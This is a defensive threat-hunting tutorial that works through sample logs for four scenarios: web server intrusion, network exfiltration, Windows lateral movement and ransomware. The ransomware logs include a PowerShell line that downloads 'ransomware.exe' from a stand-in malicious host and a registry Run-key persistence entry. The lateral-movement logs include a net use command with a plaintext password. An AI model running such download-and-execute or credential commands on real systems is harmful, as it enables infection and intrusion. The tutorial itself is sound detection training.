STEP BY STEP TO THREAT HUNTING (SUSPICIOUS ACTIVITY, DATA EXFILTRATION, LATERAL MOVEMENT & RANSOMWARE)

BY IZZMIER IZZUDDIN

Scenario 1: Suspicious Activity in Web Server Logs

Step 1: Collect Raw Logs

Here are some sample raw logs from an Apache web server:

192.168.1.100 - - [17/Jun/2024:10:45:23 -0400] "GET /index.html HTTP/1.1" 200 1024
192.168.1.101 - - [17/Jun/2024:10:46:45 -0400] "GET /login.php HTTP/1.1" 200 2048
192.168.1.100 - - [17/Jun/2024:10:47:08 -0400] "POST /login.php HTTP/1.1" 200 512 "username=admin&password=123456"
192.168.1.102 - - [17/Jun/2024:10:48:32 -0400] "GET /admin/dashboard.php HTTP/1.1" 403 128
192.168.1.100 - - [17/Jun/2024:10:49:56 -0400] "GET /admin/dashboard.php HTTP/1.1" 200 4096
192.168.1.101 - - [17/Jun/2024:10:50:11 -0400] "GET /index.html HTTP/1.1" 200 1024
192.168.1.103 - - [17/Jun/2024:10:51:42 -0400] "POST /login.php HTTP/1.1" 200 512 "username=admin&password=wrongpassword"
192.168.1.100 - - [17/Jun/2024:10:52:03 -0400] "GET /admin/settings.php HTTP/1.1" 200 256
192.168.1.104 - - [17/Jun/2024:10:53:27 -0400] "GET /index.html HTTP/1.1" 200 1024
192.168.1.105 - - [17/Jun/2024:10:54:18 -0400] "GET /contact.html HTTP/1.1" 200 768

Step 2: Identify Patterns and Anomalies

Start by examining the logs for unusual patterns or anomalies. Look for:

- Multiple login attempts (especially failed ones)
- Access to sensitive pages (e.g., /admin/)
- Requests with suspicious parameters

Step 3: Analyse Specific Entries

From the logs above, a few entries stand out:

1. 192.168.1.100 is accessing multiple pages, including admin pages.
2. 192.168.1.103 attempts to login with incorrect credentials.
3. 192.168.1.102 gets a 403 Forbidden error when accessing admin/dashboard.php.

Step 4: Investigate Suspicious Activity

- **IP 192.168.1.100**:
  - Accesses /login.php and then /admin/dashboard.php successfully.
  - Indicates potential privilege escalation.
- **IP 192.168.1.103**:
  - Failed login attempt.
  - Could indicate a brute force attempt or reconnaissance.
- **IP 192.168.1.102**:

    - Receives a 403 Forbidden error when trying to access /admin/dashboard.php.
    - Might indicate an unauthorized access attempt.

Step 5: Correlate with Other Data Sources

To confirm malicious activity, correlate with other data sources, such as:

- Firewall logs
- IDS/IPS alerts
- Endpoint detection logs

Step 6: Formulate Hypotheses

Based on the log analysis:

- **Hypothesis**: IP 192.168.1.100 may have successfully compromised an account with access to the admin area.

Step 7: Validate Hypotheses

Validate by checking:

- Authentication logs for 192.168.1.100's login activity.
- Changes in admin settings or unusual admin actions.
- Other system or application logs for corroborating evidence.

Conclusion

From the above analysis, it appears that there may have been a successful compromise involving IP 192.168.1.100. Immediate actions might include:

- Blocking the IP address.
- Resetting affected accounts.
- Conducting a detailed forensic investigation.

Scenario 2: Detecting Data Exfiltration in Network Logs

Step 1: Collect Raw Logs

Here are some sample raw logs from a network firewall:

Jun 17 10:45:23 firewall1 src=10.0.0.15 dst=8.8.8.8 proto=TCP sport=50000 dport=443 bytes=1500 action=ALLOW
Jun 17 10:46:45 firewall1 src=10.0.0.15 dst=8.8.8.8 proto=TCP sport=50001 dport=443 bytes=1500 action=ALLOW
Jun 17 10:47:08 firewall1 src=10.0.0.15 dst=192.168.1.100 proto=TCP sport=50002 dport=22 bytes=500 action=ALLOW
Jun 17 10:48:32 firewall1 src=10.0.0.15 dst=203.0.113.1 proto=TCP sport=50003 dport=80 bytes=1024 action=ALLOW
Jun 17 10:49:56 firewall1 src=10.0.0.15 dst=203.0.113.1 proto=TCP sport=50004 dport=80 bytes=2048 action=ALLOW
Jun 17 10:50:11 firewall1 src=10.0.0.15 dst=192.168.1.100 proto=TCP sport=50005 dport=22 bytes=1024 action=ALLOW
Jun 17 10:51:42 firewall1 src=10.0.0.15 dst=8.8.8.8 proto=TCP sport=50006 dport=443 bytes=1500 action=ALLOW
Jun 17 10:52:03 firewall1 src=10.0.0.15 dst=203.0.113.1 proto=TCP sport=50007 dport=80 bytes=4096 action=ALLOW
Jun 17 10:53:27 firewall1 src=10.0.0.15 dst=203.0.113.1 proto=TCP sport=50008 dport=80 bytes=8192 action=ALLOW
Jun 17 10:54:18 firewall1 src=10.0.0.15 dst=8.8.8.8 proto=TCP sport=50009 dport=443 bytes=1500 action=ALLOW

Step 2: Identify Patterns and Anomalies

Examine the logs for unusual patterns or anomalies. Specifically, look for:

- Large data transfers
- Frequent connections to external IPs
- Use of non-standard ports

Step 3: Analyse Specific Entries

From the logs above, a few entries stand out:

1. The source IP 10.0.0.15 is repeatedly connecting to 203.0.113.1 on port 80 with increasing data size.
2. Connections to 192.168.1.100 on port 22 (SSH).

Step 4: Investigate Suspicious Activity

- **Connections to 203.0.113.1**:
    - Frequent and large data transfers (1024, 2048, 4096, 8192 bytes).
    - Indicates potential data exfiltration.

- **Connections to 192.168.1.100**:
    - SSH connections (dport 22), possibly indicating remote access or command/control.

Step 5: Correlate with Other Data Sources

To confirm malicious activity, correlate with other data sources, such as:

- Endpoint logs from 10.0.0.15 for any suspicious processes or applications.
- IDS/IPS alerts for any anomalous activity.
- Proxy logs for HTTP requests to 203.0.113.1.

Step 6: Formulate Hypotheses

Based on the log analysis:

- **Hypothesis 1**: IP 10.0.0.15 might be compromised and used to exfiltrate data to 203.0.113.1.
- **Hypothesis 2**: IP 10.0.0.15 is being accessed via SSH from 192.168.1.100 for malicious purposes.

Step 7: Validate Hypotheses

Validate by checking:

- Endpoint protection logs on 10.0.0.15 for any indicators of compromise (IoCs).
- Network monitoring for additional traffic patterns or unusual behaviour.
- Audit SSH logs on 10.0.0.15 for login attempts and commands executed.

Conclusion

From the above analysis, it appears that there may be a data exfiltration attempt involving IP 10.0.0.15 and external IP 203.0.113.1. Immediate actions might include:

- Blocking outbound traffic to 203.0.113.1.
- Investigating the endpoint 10.0.0.15 for malware or unauthorized access.
- Reviewing SSH access to ensure it is legitimate.

Scenario 3: Detecting Lateral Movement in Windows Event Logs

Step 1: Collect Raw Logs

Here are some sample raw logs from Windows Event Viewer:

Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 2024-06-17 10:45:23
Event ID: 4624
Task Category: Logon
Level: Information
Keywords: Audit Success
Description:
An account was successfully logged on.
Subject:
Security ID: SYSTEM
Account Name: WIN-SERVER$
Account Domain: DOMAIN
Logon ID: 0x3E7
Logon Information:
Logon Type: 3
Restricted Admin Mode: -
Virtual Account: No
Elevated Token: Yes
New Logon:
Security ID: DOMAIN\Izzmier
Account Name: Izzmier
Account Domain: DOMAIN
Logon ID: 0x45FA1C2
Logon GUID: {00000000-0000-0000-0000-000000000000}
Network Information:
Workstation Name: WIN-SERVER
Source Network Address: 192.168.1.10
Source Port: 51423

Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 2024-06-17 10:46:45
Event ID: 4672
Task Category: Special Logon
Level: Information
Keywords: Audit Success
Description:
Special privileges assigned to new logon.
Subject:
Security ID: DOMAIN\Izzmier

Account Name: Izzmier
Account Domain: DOMAIN
Logon ID: 0x45FA1C2
Privileges: SeSecurityPrivilege
SeBackupPrivilege
SeRestorePrivilege

Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 2024-06-17 10:47:08
Event ID: 4688
Task Category: Process Creation
Level: Information
Keywords: Audit Success
Description:
A new process has been created.
Subject:
Security ID: DOMAIN\Izzmier
Account Name: Izzmier
Account Domain: DOMAIN
Logon ID: 0x45FA1C2
New Process ID: 0x8e4
New Process Name: C:\Windows\System32\cmd.exe
Token Elevation Type: TokenElevationTypeDefault (1)
Creator Process ID: 0x17c
Process Command Line: cmd.exe /c net use \\192.168.1.20\share /user:DOMAIN\Iffah Pa$$w0rd

Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 2024-06-17 10:48:32
Event ID: 4625
Task Category: Logon
Level: Information
Keywords: Audit Failure
Description:
An account failed to log on.
Subject:
Security ID: SYSTEM
Account Name: WIN-SERVER$
Account Domain: DOMAIN
Logon ID: 0x3E7
Logon Type: 3
Account For Which Logon Failed:
Security ID: NULL SID
Account Name: Iffah
Account Domain: DOMAIN

Failure Information:
Failure Reason: Unknown user name or bad password.
Status: 0xC000006D
Sub Status: 0xC000006A
Process Information:
Caller Process ID: 0x0
Caller Process Name: -
Network Information:
Workstation Name: WIN-SERVER
Source Network Address: 192.168.1.10
Source Port: 51424
Detailed Authentication Information:
Logon Process: NtLmSsp
Authentication Package: NTLM
Transited Services: -
Package Name (NTLM only): -
Key Length: 0

Step 2: Identify Patterns and Anomalies

Examine the logs for unusual patterns or anomalies. Specifically, look for:

- Logon attempts to multiple hosts
- Use of administrative privileges
- Creation of suspicious processes

Step 3: Analyse Specific Entries

From the logs above, a few entries stand out:

1. **Event ID 4624** (Logon) from 192.168.1.10 using DOMAIN\Izzmier.
2. **Event ID 4672** (Special Logon) showing Izzmier was assigned special privileges.
3. **Event ID 4688** (Process Creation) where Izzmier runs cmd.exe to map a network drive.
4. **Event ID 4625** (Logon Failure) indicating a failed login attempt for Iffah from 192.168.1.10.

Step 4: Investigate Suspicious Activity

- **Logon from 192.168.1.10**:
  - Izzmier logs in with elevated privileges.
  - Uses cmd.exe to attempt lateral movement via net use command.
- **Failed Logon for Iffah**:
  - Indicates an attempt to use another account, which could suggest password spraying or credential theft.

Step 5: Correlate with Other Data Sources

To confirm malicious activity, correlate with other data sources, such as:

- Network logs to see if there are any other connections initiated from 192.168.1.10.
- Endpoint logs from 192.168.1.10 and the target 192.168.1.20.
- Active Directory logs for any unusual activity regarding Izzmier and Iffah.

Step 6: Formulate Hypotheses

Based on the log analysis:

- **Hypothesis 1**: Izzmier's account on 192.168.1.10 may be compromised and is being used for lateral movement.
- **Hypothesis 2**: An attacker is attempting to use Izzmier's and potentially Izzmier's credentials to move laterally across the network.

Step 7: Validate Hypotheses

Validate by checking:

- Any recent changes to Izzmier’s account (e.g., password resets, privilege changes).
- Detailed examination of processes and command-line usage on 192.168.1.10.
- Network traffic analysis to and from 192.168.1.20.

Conclusion

From the above analysis, it appears that there may be a lateral movement attempt involving IP 192.168.1.10 and accounts Izzmier and Iffah. Immediate actions might include:

- Disabling the affected accounts (Izzmier and Iffah) and forcing password changes.
- Investigating the endpoint 192.168.1.10 for potential malware or unauthorized access.
- Monitoring network traffic for further suspicious activity.

Scenario 4: Detecting a Potential Ransomware Attack

Step 1: Collect Raw Logs

Here are some sample logs from a SIEM system that collects data from various sources such as endpoint detection, firewall, and file integrity monitoring systems:

Jun 17 10:45:23 endpoint1 EventID: 1102, Source: Microsoft-Windows-Eventlog, User: SYSTEM, Message: The audit log was cleared.
Jun 17 10:46:45 endpoint1 EventID: 4663, Source: Microsoft-Windows-Security-Auditing, User: SYSTEM, Message: An attempt was made to access an object.
Object Server: Security
Object Type: File
Object Name: C:\Users\Izzmier\Documents\important.docx
Handle ID: 0x4c
Accesses: WriteData (or AddFile)
Access Mask: 0x2

Jun 17 10:47:08 endpoint1 EventID: 4663, Source: Microsoft-Windows-Security-Auditing, User: SYSTEM, Message: An attempt was made to access an object.
Object Server: Security
Object Type: File
Object Name: C:\Users\Izzmier\Documents\important.docx
Handle ID: 0x4c
Accesses: WriteData (or AddFile)
Access Mask: 0x2

Jun 17 10:48:32 endpoint1 EventID: 4663, Source: Microsoft-Windows-Security-Auditing, User: SYSTEM, Message: An attempt was made to access an object.
Object Server: Security
Object Type: File
Object Name: C:\Users\Izzmier\Documents\backup.docx
Handle ID: 0x4c
Accesses: WriteData (or AddFile)
Access Mask: 0x2

Jun 17 10:49:56 firewall1 src=10.0.0.15 dst=203.0.113.10 proto=TCP sport=50000 dport=443 bytes=1500 action=ALLOW

Jun 17 10:50:11 endpoint1 EventID: 7045, Source: Service Control Manager, User: SYSTEM, Message: A service was installed in the system.
Service Name: suspicious_service
Service File Name: C:\Windows\system32\suspicious.exe

Jun 17 10:51:42 endpoint1 EventID: 4104, Source: Microsoft-Windows-PowerShell, User: Izzmier, Message: Script block logging is enabled.

Script Block Text: $client = New-Object System.Net.WebClient; $client.DownloadFile("http://malicious.com/ransomware.exe", "C:\Users\Izzmier\AppData\Local\Temp\ransomware.exe")

Jun 17 10:52:03 endpoint1 EventID: 4688, Source: Microsoft-Windows-Security-Auditing, User: SYSTEM, Message: A new process has been created.
New Process ID: 0x8e4
New Process Name: C:\Users\Izzmier\AppData\Local\Temp\ransomware.exe
Token Elevation Type: TokenElevationTypeDefault (1)
Creator Process ID: 0x17c
Process Command Line: "C:\Users\Izzmier\AppData\Local\Temp\ransomware.exe"

Jun 17 10:53:27 endpoint1 EventID: 4657, Source: Microsoft-Windows-Security-Auditing, User: SYSTEM, Message: A registry value was modified.
Object: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Value Name: ransomware
Value Type: REG_SZ
Value: "C:\Users\Izzmier\AppData\Local\Temp\ransomware.exe"

Jun 17 10:54:18 firewall1 src=10.0.0.15 dst=203.0.113.10 proto=TCP sport=50001 dport=443 bytes=3000 action=ALLOW

Step 2: Identify Patterns and Anomalies

Examine the logs for unusual patterns or anomalies. Specifically, look for:

- Multiple file modifications in a short period.
- Installation of suspicious services.
- PowerShell script execution that downloads files.
- Creation of new processes with unusual command lines.
- Registry modifications indicating persistence mechanisms.
- Outbound connections to external IP addresses.

Step 3: Analyse Specific Entries

From the logs above, a few entries stand out:

1. **Event ID 1102**: The security audit log was cleared, which is often done by attackers to cover their tracks.
2. **Event ID 4663**: Multiple file access attempts indicating potential file encryption.
3. **Event ID 7045**: Installation of a suspicious service.
4. **Event ID 4104**: PowerShell script downloading a file from an external URL.
5. **Event ID 4688**: Execution of the downloaded file (ransomware.exe).
6. **Event ID 4657**: Registry modification for persistence.
7. **Firewall Logs**: Outbound connections to an external IP address.

Step 4: Investigate Suspicious Activity

- **Log Clearing**:
  - Indicates potential malicious activity trying to cover its tracks.
- **File Modifications**:
  - Repeated access to files, possibly encrypting them.
- **Installation of Suspicious Service**:
  - A new service named suspicious_service with an unusual executable.
- **PowerShell Activity**:
  - A script downloading and executing a potentially malicious file.
- **Registry Modification**:
  - Indicates an attempt to persist across reboots.
- **Outbound Connections**:
  - Communication with an external server, possibly exfiltrating data or communicating with a command and control server.

Step 5: Correlate with Other Data Sources

To confirm malicious activity, correlate with other data sources, such as:

- Antivirus/endpoint detection logs for alerts or detections.
- Network traffic logs for unusual patterns.
- User behaviour analytics for anomalies.

Step 6: Formulate Hypotheses

Based on the log analysis:

- **Hypothesis 1**: The endpoint 10.0.0.15 has been infected with ransomware.
- **Hypothesis 2**: The attacker has established persistence and is attempting to exfiltrate data.

Step 7: Validate Hypotheses

Validate by checking:

- Antivirus or EDR logs for detections of ransomware.exe.
- Network monitoring to verify the destination IP 203.0.113.10 and its reputation.
- Checking file integrity to see if critical files have been encrypted.

Conclusion

From the above analysis, it appears that there is a ransomware infection on the endpoint 10.0.0.15. Immediate actions might include:

- Isolating the affected endpoint from the network to prevent further spread.
- Terminating suspicious processes and removing malicious files.
- Restoring affected files from backups.
- Investigating the source of the infection and applying necessary security patches and updates.

The threat hunting examples provided above can be categorized into different types based on the hunting methodologies used. Here's a breakdown of the threat hunting approaches demonstrated in each example:

1. **Scenario 1: Suspicious Activity in Web Server Logs**

Type of Threat Hunting: Hypothesis-Driven Hunting

- **Methodology**: This example involves looking for specific patterns and anomalies in web server logs based on a hypothesis that unusual activity (e.g., repeated access to admin pages, login attempts) could indicate a potential threat.
- **Indicators**: Logins, access to admin pages, failed login attempts, HTTP request patterns.
- **Steps**: Collect logs, identify patterns, analyse entries, investigate, correlate with other data sources, validate hypothesis, take action.

2. **Scenario 2: Detecting Data Exfiltration in Network Logs**

Type of Threat Hunting: Investigation Based on Alerts

- **Methodology**: This example involves analysing network logs for signs of large data transfers and unusual outbound connections that might indicate data exfiltration.
- **Indicators**: Large data transfers, frequent connections to external IPs, use of specific ports.
- **Steps**: Collect logs, identify patterns, analyse entries, investigate, correlate with other data sources, formulate hypotheses, validate, take action.

3. **Scenario 3: Detecting Lateral Movement in Windows Event Logs**

Type of Threat Hunting: TTP-Based Hunting (Tactics, Techniques, and Procedures)

- **Methodology**: This example uses knowledge of common attack techniques (e.g., lateral movement using compromised credentials) to analyse Windows Event Logs for specific TTPs indicative of lateral movement.
- **Indicators**: Successful logons, special privileges assignment, process creation, failed login attempts.
- **Steps**: Collect logs, identify patterns, analyse entries, investigate, correlate with other data sources, formulate hypotheses, validate, take action.

4. **Scenario 4: Detecting a Potential Ransomware Attack Using SIEM Logs**

Type of Threat Hunting: Indicator of Compromise (IoC)-Based Hunting

- **Methodology**: This example involves searching for known indicators of compromise related to ransomware (e.g., log clearing, file access attempts, suspicious service installations, PowerShell scripts) in SIEM logs.

- **Indicators**: Log clearing, file modifications, suspicious service installations, PowerShell script execution, new process creation, registry modifications, outbound connections.
- **Steps**: Collect logs, identify patterns, analyse entries, investigate, correlate with other data sources, formulate hypotheses, validate, take action.

Summary

1. **Hypothesis-Driven Hunting**: Searching based on specific assumptions or hypotheses about potential threats (e.g., unusual web server activity).
2. **Investigation Based on Alerts**: Reacting to alerts or anomalies detected in logs and investigating further (e.g., detecting data exfiltration).
3. **TTP-Based Hunting**: Using knowledge of attacker tactics, techniques, and procedures to search for specific behaviours in logs (e.g., lateral movement).
4. **IoC-Based Hunting**: Looking for specific indicators of compromise that are known to be associated with certain types of attacks (e.g., ransomware).